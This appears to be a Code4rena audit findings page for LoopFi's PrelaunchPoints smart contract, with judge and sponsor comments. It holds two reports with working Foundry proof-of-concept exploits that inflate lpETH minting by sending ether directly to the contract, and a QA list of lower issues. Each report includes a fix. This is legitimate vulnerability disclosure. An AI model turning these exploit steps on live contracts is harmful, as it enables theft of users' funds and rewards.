Platform: Code4rena
Start Date: 01/05/2024
Pot Size: $12,100 USDC
Total HM: 1
Participants: 47
Period: 7 days
Judge: Koolex
Id: 371
League: ETH
Rank: 2/47
Findings: 2
Award: $456.23
🌟 Selected for report: 0
🚀 Solo Findings: 0
🌟 Selected for report: 0xnev
Also found by: 0x04bytes, 0xBugSlayer, 0xJoyBoy03, 0xSecuri, 0xrex, Bigsam, DMoore, Evo, Greed, Kirkeelee, Krace, Pechenite, Rhaydden, SBSecurity, Sajjad, TheFabled, Topmark, XDZIBECX, ZanyBonzy, _karanel, bbl4de, btk, d3e4, gumgumzum, nfmelendez, novamanbg, petarP1998, samuraii77, sandy, shaflow2, sldtyenj12, web3er, y4y, yovchev_yoan
284.4444 USDC - $284.44
https://github.com/code-423n4/2024-05-loop/blob/main/src/PrelaunchPoints.sol#L226-L235 https://github.com/code-423n4/2024-05-loop/blob/main/src/PrelaunchPoints.sol#L263 https://github.com/code-423n4/2024-05-loop/blob/main/src/PrelaunchPoints.sol#L262
A user can lock up a very small amount of LRT
e.g 0.5 rsETH
while earning 10x+ more staking rewards compared to another user who locked up 10 rsETH
effectively taking most of the staking reward pool from other honest stakers who are unaware of the exploit path.
rsETH
rsETH
lpETH
claimslpETH
is setrsETH
for 9.99 lpETH
(assuming he swapped at a favorable price)rsETH
while ending up staking 10.05 lpETH
each time which shouldn't be because they only locked 0.5 rsETH
. User B can do this 10+ times since 0.05 is only 10% of his 0.5 rsETH
deposit which means they get to redeem and stake 100.5 lpETH
altogether when they initially only locked 0.5 rsETH
.lpETH
and no more. With that being the case, User B now keeps 90+% of the reward pool to themself.address(this).balance
which user B leverages as a backdoor entry to successfully put in a direct ether transfer into the contract before executing the claimAndStake()
for lpETH
staking which then associates the ether balance in the contract to them allowing them to stake more lpETH
even though their initial locked rsETH
was very little ~ 0.5 rsETH
. This can then be automated to slowly siphon rewards from other users by calling claimAndStake()
. This is possible because of the LRT
claim process which differs from the ETH
and WETH
one.Summarization is to transfer ether into the contract directly slightly before or while executing claimAndStake()
for your LRT
each call which will allow you to redeem then stake more lpETH
than it should since lock-up periods are long past.
Paste the POC test into the PreLaunchPoints.t.sol
test file and run the code with forge test --mt testSiphonStakeRewardsPOC
function testSiphonStakeRewardsPOC() public { address alice = makeAddr("alice"); address bob = makeAddr("bob"); lrt.mint(bob, 10 ether); lrt.mint(alice, 0.5 ether); vm.prank(bob); lrt.approve(address(prelaunchPoints), 10 ether); vm.prank(alice); lrt.approve(address(prelaunchPoints), 0.5 ether); vm.prank(bob); prelaunchPoints.lock(address(lrt), 10 ether, referral); vm.prank(alice); prelaunchPoints.lock(address(lrt), 0.5 ether, referral); // Set Loop Contracts and Convert to lpETH prelaunchPoints.setLoopAddresses(address(lpETH), address(lpETHVault)); vm.warp(prelaunchPoints.loopActivation() + prelaunchPoints.TIMELOCK() + 1); prelaunchPoints.convertAllETH(); vm.warp(prelaunchPoints.startClaimDate() + 1); vm.prank(bob); prelaunchPoints.claimAndStake(address(lrt), 100, PrelaunchPoints.Exchange.UniswapV3, hex"803ba26d00000000000000000000000000000000000000000000000000000000000000800000000000000000000000000000000000000000000000008ac7230489e800000000000000000000000000000000000000000000000000000dbd2fc137a300000000000000000000000000002e234dae75c793f67a35089c9d99245e1c58470b000000000000000000000000000000000000000000000000000000000000002b5615deb798bb3e4dfa0139dfa1b3d433cc23b72f0001f4c02aaa39b223fe8d0a0e5c4f27ead9083c756cc2000000000000000000000000000000000000000000"); assertEq(prelaunchPoints.balances(bob, address(lrt)), 0); vm.deal(alice, 10 ether); // alice sends 10 ether to the contract // simulation of alice transferring ether into the PrelaunchPoints contract right before her claimAndStake transaction execution vm.deal(address(prelaunchPoints), 10 ether); // @note lets see this as alice making the ether transfer to prelaunchPoints contract vm.prank(alice); // @note alice specifies 10% to redeem in lpETH aka 0.05 lpETH prelaunchPoints.claimAndStake(address(lrt), 10, PrelaunchPoints.Exchange.UniswapV3, hex"803ba26d000000000000000000000000000000000000000000000000000000000000008000000000000000000000000000000000000000000000000000b1a2bc2ec5000000000000000000000000000000000000000000000000000000b147c91e4ac0000000000000000000000000002e234dae75c793f67a35089c9d99245e1c58470b000000000000000000000000000000000000000000000000000000000000002b5615deb798bb3e4dfa0139dfa1b3d433cc23b72f0001f4c02aaa39b223fe8d0a0e5c4f27ead9083c756cc2000000000000000000000000000000000000000000"); vm.warp(block.timestamp + 30 minutes); vm.deal(alice, 10 ether); // alice sends 10 ether to the contract // simulation of alice transferring ether into the PrelaunchPoints contract right before her claimAndStake transaction execution vm.deal(address(prelaunchPoints), 10 ether); // @note lets see this as alice making the ether transfer to prelaunchPoints contract vm.prank(alice); // @note alice specifies 10% to redeem in lpETH aka 0.045 lpETH at this point prelaunchPoints.claimAndStake(address(lrt), 10, PrelaunchPoints.Exchange.UniswapV3, hex"803ba26d0000000000000000000000000000000000000000000000000000000000000080000000000000000000000000000000000000000000000000009fdf42f6e48000000000000000000000000000000000000000000000000000009c51c4521e00000000000000000000000000002e234dae75c793f67a35089c9d99245e1c58470b000000000000000000000000000000000000000000000000000000000000002b5615deb798bb3e4dfa0139dfa1b3d433cc23b72f0001f4c02aaa39b223fe8d0a0e5c4f27ead9083c756cc2000000000000000000000000000000000000000000"); vm.warp(block.timestamp + 30 minutes); vm.deal(alice, 10 ether); // alice sends 10 ether to the contract // simulation of alice transferring ether into the PrelaunchPoints contract right before her claimAndStake transaction execution vm.deal(address(prelaunchPoints), 10 ether); // @note lets see this as alice making the ether transfer to prelaunchPoints contract vm.prank(alice); // @note alice specifies 10% to redeem in lpETH aka 0.0405 lpETH at this point prelaunchPoints.claimAndStake(address(lrt), 10, PrelaunchPoints.Exchange.UniswapV3, hex"803ba26d0000000000000000000000000000000000000000000000000000000000000080000000000000000000000000000000000000000000000000008fe28911674000000000000000000000000000000000000000000000000000008f879600ed00000000000000000000000000002e234dae75c793f67a35089c9d99245e1c58470b000000000000000000000000000000000000000000000000000000000000002b5615deb798bb3e4dfa0139dfa1b3d433cc23b72f0001f4c02aaa39b223fe8d0a0e5c4f27ead9083c756cc2000000000000000000000000000000000000000000"); // @note she can keep this up // @note since she always transfers ether directly right before the claimAndStake calls, she ends up with 10 lpETH plus the 10% in converted each time the swap will send back to prelaunchPoints each time evaluating to 10.05 `lpETH` the first call, then 10.045 `lpETH` the next call and 10.405 `lpETH` the next call and so on... claimed and staked each call which shouldn't be happening assertEq(prelaunchPoints.balances(alice, address(lrt)), 0.3645 ether); // @note she still has plenty of leeway to run the exploit next time assertEq(lpETHVault.balanceOf(alice), 30 ether); // @note she successfully breaches the locking mechanism and gaming the staking rewards to get 30.1355 lpETH staked thereby taking a huge chunk of the rewards from bob and the rest stakers }
Test result
[PASS] testSiphonStakeRewardsPOC() (gas: 446597) Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 33.25ms (4.64ms CPU time)
Manual review
The contract's usage of address(this).balance
during claiming of lpETH
is flawed. Rather than assuming the only ether in the contract at that time is the one gotten from the swap transaction for a claim, use a before and after balance to track and properly record the actual balance the swap resulted in. Then, use that delta as the amount to mint to the user in lpETH
that is then staked.
Timing
#0 - c4-judge
2024-05-15T13:38:38Z
koolexcrypto marked the issue as primary issue
#1 - 0xd4n1el
2024-05-19T12:54:02Z
We manage this situation offchain, since points depend on the Locked event. Claimed event is used as a safeguard against tricky withdrawals and cannot boost points the way mentioned above. We might implement filter on ETH receive but not for this reason
#2 - c4-judge
2024-06-03T10:06:07Z
koolexcrypto marked the issue as duplicate of #33
#3 - c4-judge
2024-06-05T08:53:12Z
koolexcrypto marked the issue as partial-75
#4 - rexjoseph
2024-06-06T10:14:40Z
@koolexcrypto Forgive me, but I do not understand why this issue is graded partial-75 when it identifies the full impact and exploit scenario related to #33 and builds upon it for the staking part. I have two issues marked as duplicates of #33
Since code4rena only awards one of 2 duplicates when a researcher has more than 1 duplicate tied to a primary issue, I think it is unfair to grade issue #48 as partial-75 when in fact it elaborates on the full impact and will then mess up rewarding for my issues. Making issue #48 a full duplicate will resolve this.
Could you please take a look at this? Thanks!
#5 - koolexcrypto
2024-06-10T09:40:39Z
Hi @rexjoseph
I do agree. marking this as a full credit.
#6 - c4-judge
2024-06-10T09:41:04Z
koolexcrypto marked the issue as satisfactory
🌟 Selected for report: 0xnev
Also found by: 0x04bytes, 0xBugSlayer, 0xJoyBoy03, 0xSecuri, 0xrex, Bigsam, DMoore, Evo, Greed, Kirkeelee, Krace, Pechenite, Rhaydden, SBSecurity, Sajjad, TheFabled, Topmark, XDZIBECX, ZanyBonzy, _karanel, bbl4de, btk, d3e4, gumgumzum, nfmelendez, novamanbg, petarP1998, samuraii77, sandy, shaflow2, sldtyenj12, web3er, y4y, yovchev_yoan
284.4444 USDC - $284.44
https://github.com/code-423n4/2024-05-loop/blob/main/src/PrelaunchPoints.sol#L252-L264
A user can still deposit more and end up minting more lpETH
even at a time when it is no longer possible to be eligible to do so by funneling in ether deposits on every small lpETH
claim which resolves to mint more lpETH
than expected by the protocol without the supposed full amount being locked in ETH
, WETH
or LRTs
in the first place.
This breaches one of the protocol's invariants:
Deposits are active up to the lpETH contract and lpETHVault contract are set
LRT
or less. Let's assume the LRT
is Renzo ETH in this case ezETH
function lock(address _token, uint256 _amount, bytes32 _referral) external { if (_token == ETH) { revert InvalidToken(); } @> _processLock(_token, _amount, msg.sender, _referral); // @note processes Alice's deposit of 1 ezETH }
_processLock()
function below, that there is a modifier to stop locking when the loop is activated onlyBeforeDate()
function _processLock(address _token, uint256 _amount, address _receiver, bytes32 _referral) internal @> onlyBeforeDate(loopActivation) // @note blocks locking attempts after loop activation { ... modifier onlyBeforeDate(uint256 limitDate) { if (block.timestamp >= limitDate) { // @note this reverts if loop activated revert NoLongerPossible(); } _; }
claim()
function claim(address _token, uint8 _percentage, Exchange _exchange, bytes calldata _data) external onlyAfterDate(startClaimDate) { _claim(_token, msg.sender, _percentage, _exchange, _data); }
_claim()
function _claim(address _token, address _receiver, uint8 _percentage, Exchange _exchange, bytes calldata _data) internal returns (uint256 claimedAmount) { uint256 userStake = balances[msg.sender][_token]; // @note 1 ezETH if (userStake == 0) { revert NothingToClaim(); } if (_token == ETH) { claimedAmount = userStake.mulDiv(totalLpETH, totalSupply); balances[msg.sender][_token] = 0; lpETH.safeTransfer(_receiver, claimedAmount); } else { uint256 userClaim = userStake * _percentage / 100; // @note resolves to 1e16 with 1% passed in as the amount to claim or mint _validateData(_token, userClaim, _exchange, _data); balances[msg.sender][_token] = userStake - userClaim; // At this point there should not be any ETH in the contract // <---- @note initial protocol assumption, but it is wrong since she sends the ether into the contract directly // Swap token to ETH _fillQuote(IERC20(_token), userClaim, _data); // swaps 1e16 ezETH to ether and sends those in here ... now we have 100 ethers + 1e16 or whatever the swap returns - slippage and fee // Convert swapped ETH to lpETH (1 to 1 conversion) claimedAmount = address(this).balance; // @note now its 100 ether + 1e16 assuming no bad swap impact lpETH.deposit{value: claimedAmount}(_receiver); // @note mints 100 + 1e16 `lpETH` to Alice } emit Claimed(msg.sender, _token, claimedAmount); }
_claim
above, Since at this point in time, when claiming of lpETH
has been activated and set, what she should only be able to do normally, is to claim aka swap her 1e18 ezETH
balance to 1e18 lpETH
. But what she does instead is to call the claim
function, pass in x% to only convert x% of her ezETH
into lpETH
which, if she passed in 1% should resolve to having 1e16
lpETH
claimed but then she first sends 100 ethers into the PrelaunchPoints
contract which then allows her to now have 100 lpETH
claimed + the 1e16
resolving from the 1% she specified. This effectively breaches the protocol assumption that Alice will only ever be able to mint 1 lpETH
when in fact she has just minted 100 lpETH
plus 1e16
lpETH
plus the .99 ezETH
she is yet to convert/claim and will leverage to mint more lpETH
to continue exploiting this loophole.Below is a coded POC for this exploit. Please read the test and paste it into the PrelaunchPoints.t.sol
test contract. Run it with forge test --mt testBypassLockingPOC
. You can append -vvvvv
flag for execution trace verbosity.
// HELPER FUNCTION WE USED TO CRAFT THE SWAP INPUT DATA event EncodedPath(bytes encodedPath); function testEncodeSwapPath() public { address inputToken = 0x5615dEB798BB3E4dFa0139dFa1b3D433Cc23b72f; // aka mock ezETH uint24 fee = 100; // uniswap ezETH/WETH pool right now is 0.01% fee address outputToken = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; // aka WETH address bytes memory encodedPath = abi.encodePacked(inputToken, fee, outputToken); // @note encoded swap path emit EncodedPath(encodedPath); // @note log so we can see and grab the bytes data } function testSellTokenForEthToUniswapV3Args_encoded() public { bytes memory usingFuncSel = abi.encodeWithSignature("sellTokenForEthToUniswapV3(bytes encodedPath, uint256 sellAmount, uint256 minBuyAmount, address recipient)", hex"5615deb798bb3e4dfa0139dfa1b3d433cc23b72f000064c02aaa39b223fe8d0a0e5c4f27ead9083c756cc2", 0.01 ether, 0, 0x2e234DAe75C793f67A35089C9d99245E1C58470b); emit EncodedPath(usingFuncSel); /* 0x1316cb1a0000000000000000000000000000000000000000000000000000000000000080000000000000000000000000000000000000000000000000002386f26fc1000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000002e234dae75c793f67a35089c9d99245e1c58470b000000000000000000000000000000000000000000000000000000000000002b5615deb798bb3e4dfa0139dfa1b3d433cc23b72f000064c02aaa39b223fe8d0a0e5c4f27ead9083c756cc2000000000000000000000000000000000000000000 THEN WE SWAP THE FUNCTION SIG INTO THE CALLDATA FROM `0x1316cb1a` TO `0x803ba26d` before proceeding to use it in the `prelaunchPoints.claim` call below in the `testBypassLockingPOC` function 0x803ba26d0000000000000000000000000000000000000000000000000000000000000080000000000000000000000000000000000000000000000000002386f26fc1000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000002e234dae75c793f67a35089c9d99245e1c58470b000000000000000000000000000000000000000000000000000000000000002b5615deb798bb3e4dfa0139dfa1b3d433cc23b72f000064c02aaa39b223fe8d0a0e5c4f27ead9083c756cc2000000000000000000000000000000000000000000 */ } // EXPLOIT POC function testBypassLockingPOC() public { address alice = makeAddr("alice"); // @note alice has 2 ezETH in her wallet lrt.mint(alice, 2 ether); uint256 lockAmount = 1 ether; vm.prank(alice); lrt.approve(address(prelaunchPoints), lockAmount * 2); // @note alice approves prelaunchPoints to transfer 2 ezETH but she only deposits 1 vm.prank(alice); prelaunchPoints.lock(address(lrt), lockAmount, referral); // @note alice locks 1 ezETH into prelaunchPoints // Set Loop Contracts and Convert to lpETH prelaunchPoints.setLoopAddresses(address(lpETH), address(lpETHVault)); vm.warp(prelaunchPoints.loopActivation() + prelaunchPoints.TIMELOCK() + 1); prelaunchPoints.convertAllETH(); vm.warp(prelaunchPoints.startClaimDate() + 1); // @note alice has acquired 100 ethers in her wallet vm.deal(alice, 100 ether); // simulation of alice transferring ether into the PrelaunchPoints contract right before her claim transaction execution vm.deal(address(prelaunchPoints), 100 ether); // @note lets see this as alice making the ether transfer to prelaunchPoints contract vm.prank(alice); vm.expectRevert(); // @note just testing to make sure locking ether or LRT is no longer allowed by the protocol but alice will breach it in the next call prelaunchPoints.lock(address(lrt), lockAmount, referral); vm.prank(alice); // @note alice specifies 1% which should resolve to only 1 lpETH being minted to her but then ... prelaunchPoints.claim(address(lrt), 1, PrelaunchPoints.Exchange.UniswapV3, hex"803ba26d0000000000000000000000000000000000000000000000000000000000000080000000000000000000000000000000000000000000000000002386f26fc1000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000002e234dae75c793f67a35089c9d99245e1c58470b000000000000000000000000000000000000000000000000000000000000002b5615deb798bb3e4dfa0139dfa1b3d433cc23b72f000064c02aaa39b223fe8d0a0e5c4f27ead9083c756cc2000000000000000000000000000000000000000000"); // @note since she transferred ether directly right before the claim call, she ends up with 100 lpETH plus the 0.01 ether the swap will send back to prelaunchPoints assertEq(prelaunchPoints.balances(alice, address(lrt)), 0.99 ether); // @note she still has plenty of leeway to run the exploit next time assertEq(lpETH.balanceOf(alice), 100 ether); // @note she successfully breaches the locking mechanism to get 100 lpETH + 0.01 lpETH that will be a result of the swap sending back ether to prelaunchPoints }
Test result:
[PASS] testBypassLockingPOC() (gas: 299809) Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 24.52ms (4.22ms CPU time)
Manual review
Use this modification of the else
block in the _claim()
function instead:
} else { uint256 userClaim = userStake * _percentage / 100; _validateData(_token, userClaim, _exchange, _data); balances[msg.sender][_token] = userStake - userClaim; + uint256 prevBalance = address(this).balance; // At this point there should not be any ETH in the contract // Swap token to ETH _fillQuote(IERC20(_token), userClaim, _data); // Convert swapped ETH to lpETH (1 to 1 conversion) + uint256 currBalance = address(this).balance; + claimedAmount = currBalance - prevBalance; - claimedAmount = address(this).balance; lpETH.deposit{value: claimedAmount}(_receiver); } emit Claimed(msg.sender, _token, claimedAmount); }
With this change, even if Alice tries to send ethers into the contract directly, it will be at a lost cause as she effectively donates it without exploiting the loophole.
Timing
#0 - c4-judge
2024-05-15T13:57:23Z
koolexcrypto marked the issue as duplicate of #6
#1 - c4-judge
2024-05-31T09:58:34Z
koolexcrypto marked the issue as duplicate of #33
#2 - c4-judge
2024-06-05T09:55:44Z
koolexcrypto marked the issue as satisfactory
#3 - c4-judge
2024-06-05T09:55:55Z
koolexcrypto changed the severity to 3 (High Risk)
🌟 Selected for report: pamprikrumplikas
Also found by: 0xnev, 0xrex, ParthMandale, Pechenite, SpicyMeatball, ZanyBonzy, caglankaan, chainchief, cheatc0d3, karsar, krisp, oualidpro, peanuts, popeye, slvDev
70.1538 USDC - $70.15
loopActivation
is setPrelaunchPoints.sol#L274-L306
The LoopFi protocol promises users a 7 day grace period to withdraw their deposited tokens after the loopActivation
date is set but there is no logic in the contract to stop withdraws after 7 days when the loopActivation
is set but startClaimDate
is not yet set. Assuming the call to convertAllETH()
doesn't happen exactly 7 days after loopActivation
date was set, users will still be able to withdraw past the 7 days time threshold.
Short POC
function testCanWithdrawPost7Days(uint256 lockAmount) public { lockAmount = bound(lockAmount, 1, INITIAL_SUPPLY); lrt.approve(address(prelaunchPoints), lockAmount); prelaunchPoints.lock(address(lrt), lockAmount, referral); uint256 balanceBefore = lrt.balanceOf(address(this)); prelaunchPoints.setLoopAddresses(address(lpETH), address(lpETHVault)); vm.warp(prelaunchPoints.loopActivation() + 8 days); prelaunchPoints.withdraw(address(lrt)); assertEq(prelaunchPoints.balances(address(this), address(lrt)), 0); assertEq(lrt.balanceOf(address(this)) - balanceBefore, lockAmount); }
Using this updated withdraw()
implementation below renders a fix to this potential issue:
function withdraw(address _token) external { if (!emergencyMode) { if (block.timestamp <= loopActivation) { revert CurrentlyNotPossible(); } if (block.timestamp >= startClaimDate) { revert NoLongerPossible(); } + if (block.timestamp >= loopActivation + 7 days) { + revert("past time to do so"); + } } ... }
minBuyAmount
of 0 opens the user claiming lpETH
with their LRT
balance to MEV lossPrelaunchPoints.sol#L491-L505
Swap data for lpETH
claims when encoded/decoded include a minBuyAmount
that works similar to minAmountOut
which in this case is not checked to not be 0 which would open users claiming lpETH
to MEV attacks when it is 0.
Decoding the _swapCallData
and checking that the minBuyAmount
is not zero will close this open loophole that MEV can utilize.
PrelaunchPoints.sol#L97-L114
The constructor arguments of the PrelaunchPoints
contract are assumed to be inputted correctly but any copied zero address in the clipboard could get pasted by mistake with deployment being executed and forced to be redone. Zero address checks can be used in this case to prevent this.
constructor(address _exchangeProxy, address _wethAddress, address[] memory _allowedTokens) { owner = msg.sender; // @note good exchangeProxy = _exchangeProxy; + if (_exchangeProxy == address(0)) { + revert("zero address"); + } WETH = IWETH(_wethAddress); + if (_wethAddress == address(0)) { + revert("zero address"); + } loopActivation = uint32(block.timestamp + 120 days); // @note good startClaimDate = 4294967295; // Max uint32 ~ year 2107 @note good // Allow intital list of tokens uint256 length = _allowedTokens.length; for (uint256 i = 0; i < length;) { + if (_allowedTokens[i] == address(0)) { + revert("zero address"); + } isTokenAllowed[_allowedTokens[i]] = true; unchecked { i++; } } isTokenAllowed[_wethAddress] = true; }
LRT
to the contract by mistake loses the value sent which cannot be recoveredPrelaunchPoints.sol#L379-L386
Assuming a transfer of one of the approved LRTs
is put into the PrelaunchPoints
contract, such token cannot be recovered as the recoverERC20
call would revert at the if
check because such token would be whitelisted
function recoverERC20(address tokenAddress, uint256 tokenAmount) external onlyAuthorized { @> if (tokenAddress == address(lpETH) || isTokenAllowed[tokenAddress]) { // @audit LOW LRTs sent by mistake & whitelisted cannot be pulled revert NotValidToken(); } IERC20(tokenAddress).safeTransfer(owner, tokenAmount); emit Recovered(tokenAddress, tokenAmount); }
_referral
dataPrelaunchPoints.sol#L124-L126 PrelaunchPoints.sol#L133-L135 PrelaunchPoints.sol#L143 PrelaunchPoints.sol#L157
When making a deposit/lock call on the PrelaunchPoints
contract, users can specify a referral who is encoded as bytes32 and then decoded on the backend to award points to them in the pointing system. Users who encode themselves as the referral can use this mechanism to inflate their points
function lockETH(bytes32 _referral) external payable { @> _processLock(ETH, msg.value, msg.sender, _referral); // @audit setting yourself as the referral gives you extra points }
PrelaunchPoints.sol#L336-L340 When a transfer of the contract's ownership is done to another address by mistake, the current owner ends up losing the contract ownership. Utilizing a two-step ownership transfer where ownership is not transferred unless the new owner accepts it would be great.
function setOwner(address _owner) external onlyAuthorized { owner = _owner; emit OwnerUpdated(_owner); }
LRT
balances by disallowing the LRT
firstPrelaunchPoints.sol#L364-L366 PrelaunchPoints.sol#L379-L386
The protocol can decide to drain all user deposits in LRTs
by removing the token addresses from the isTokenAllowed
first in order to bypass the check in the recoverERC20
function which ensures that only non-whitelisted tokens can be withdrawn.
function allowToken(address _token) external onlyAuthorized { isTokenAllowed[_token] = true; }
function recoverERC20(address tokenAddress, uint256 tokenAmount) external onlyAuthorized { @> if (tokenAddress == address(lpETH) || isTokenAllowed[tokenAddress]) { // @audit check bypass revert NotValidToken(); } IERC20(tokenAddress).safeTransfer(owner, tokenAmount); emit Recovered(tokenAddress, tokenAmount); }
#0 - CloudEllie
2024-05-11T17:26:50Z
#1 - 0xd4n1el
2024-05-13T17:00:08Z
L-1 is true but not concerning, L-3 could be considered
#2 - c4-judge
2024-06-03T10:39:14Z
koolexcrypto marked the issue as grade-b
#3 - DecentralDisco
2024-06-11T15:25:37Z
For awarding purposes, staff have marked as 2nd place. Also noting there was a tie for 2nd/3rd place.